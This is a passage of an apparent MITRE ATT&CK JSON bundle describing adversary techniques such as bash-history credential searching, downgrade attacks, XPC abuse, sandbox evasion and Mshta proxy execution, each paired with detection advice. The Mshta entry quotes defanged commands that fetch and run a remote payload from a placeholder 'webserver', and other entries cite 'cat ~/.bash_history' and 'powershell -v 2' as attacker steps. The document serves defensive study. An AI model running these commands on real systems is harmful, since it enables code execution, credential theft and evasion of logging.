            "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3",
            "created": "2020-02-04T13:02:11.685Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/003",
                    "external_id": "T1552.003"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:52:49.389Z",
            "name": "Bash History",
            "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497",
            "created": "2021-10-08T14:06:28.212Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/010",
                    "external_id": "T1562.010"
                },
                {
                    "source_name": "SafeBreach",
                    "description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.",
                    "url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/"
                },
                {
                    "source_name": "Crowdstrike Downgrade",
                    "description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.",
                    "url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"
                },
                {
                    "source_name": "Targeted SSL Stripping Attacks Are Real",
                    "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
                    "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
                },
                {
                    "source_name": "CrowdStrike BGH Ransomware 2021",
                    "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.",
                    "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
                },
                {
                    "source_name": "att_def_ps_logging",
                    "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
                    "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
                },
                {
                    "source_name": "inv_ps_attacks",
                    "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
                    "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
                },
                {
                    "source_name": "Mandiant BYOL 2018",
                    "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.",
                    "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
                },
                {
                    "source_name": "welivesecurity",
                    "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
                    "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
                },
                {
                    "source_name": "Microsoft Security",
                    "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
                },
                {
                    "source_name": "Praetorian TLS Downgrade Attack 2014",
                    "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
                    "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
                }
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            ],
            "modified": "2025-04-15T19:58:46.929Z",
            "name": "Downgrade Attack",
            "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mayuresh Dani, Qualys",
                "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
                "Arad Inbar, Fidelis Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell \u2013v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\n\nMonitor network data to detect cases where HTTP is used instead of HTTPS.\n\nMonitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\n\nMonitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\n\nMonitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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                "Process: Process Creation",
                "Process: Process Metadata"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19",
            "created": "2021-10-12T06:45:36.763Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/003",
                    "external_id": "T1559.003"
                },
                {
                    "source_name": "creatingXPCservices",
                    "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1"
                },
                {
                    "source_name": "Designing Daemons Apple Dev",
                    "description": "Apple. (n.d.). Retrieved October 12, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html"
                },
                {
                    "source_name": "CVMServer Vuln",
                    "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html"
                },
                {
                    "source_name": "Learn XPC Exploitation",
                    "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.",
                    "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:47.031Z",
            "name": "XPC Services",
            "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Csaba Fitzl @theevilbit of Kandji"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Access"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "created": "2019-04-17T22:22:24.505Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497",
                    "external_id": "T1497"
                },
                {
                    "source_name": "Unit 42 Pirpi July 2015",
                    "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:47.123Z",
            "name": "Virtualization/Sandbox Evasion",
            "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
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                    "phase_name": "defense-evasion"
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                    "phase_name": "discovery"
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            "x_mitre_contributors": [
                "Deloitte Threat Library Team",
                "Sunny Neo"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
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            "type": "attack-pattern",
            "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "created": "2017-05-31T21:31:13.915Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1102",
                    "external_id": "T1102"
                },
                {
                    "source_name": "Broadcom BirdyClient Microsoft Graph API 2024",
                    "description": "Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.",
                    "url": "https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-15T19:58:47.211Z",
            "name": "Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
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                    "phase_name": "command-and-control"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Sarathkumar Rajendran, Microsoft Defender365"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
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        },
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            "type": "attack-pattern",
            "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "created": "2020-02-04T12:52:13.006Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/001",
                    "external_id": "T1552.001"
                },
                {
                    "source_name": "CG 2014",
                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
                },
                {
                    "source_name": "Specter Ops - Cloud Credential Storage",
                    "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.",
                    "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
                },
                {
                    "source_name": "SRD GPP",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
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            "modified": "2025-04-15T19:58:47.301Z",
            "name": "Credentials In Files",
            "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
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                    "phase_name": "credential-access"
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            ],
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            "x_mitre_contributors": [
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                "Jay Chen, Palo Alto Networks",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Microsoft Threat Intelligence Center (MSTIC)"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS",
                "Containers"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
            "created": "2020-03-11T14:56:34.154Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568/003",
                    "external_id": "T1568.003"
                },
                {
                    "source_name": "Meyers Numbered Panda",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
                },
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                },
                {
                    "source_name": "Rapid7G20Espionage",
                    "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
                    "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
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            "modified": "2025-04-25T14:47:18.343Z",
            "name": "DNS Calculation",
            "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
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                    "phase_name": "command-and-control"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "created": "2020-01-23T19:32:49.557Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/005",
                    "external_id": "T1218.005"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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                {
                    "source_name": "Red Canary HTA Abuse Part Deux",
                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
                },
                {
                    "source_name": "FireEye Attacks Leveraging HTA",
                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
                },
                {
                    "source_name": "Airbus Security Kovter Analysis",
                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
                    "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "Wikipedia HTML Application",
                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTML_Application"
                },
                {
                    "source_name": "MSDN HTML Applications",
                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
                },
                {
                    "source_name": "LOLBAS Mshta",
                    "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:18.707Z",
            "name": "Mshta",
            "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "@ionstorm",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Ricardo Dias"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
            "created": "2021-10-05T21:26:15.081Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/015",
                    "external_id": "T1547.015"
                },
                {
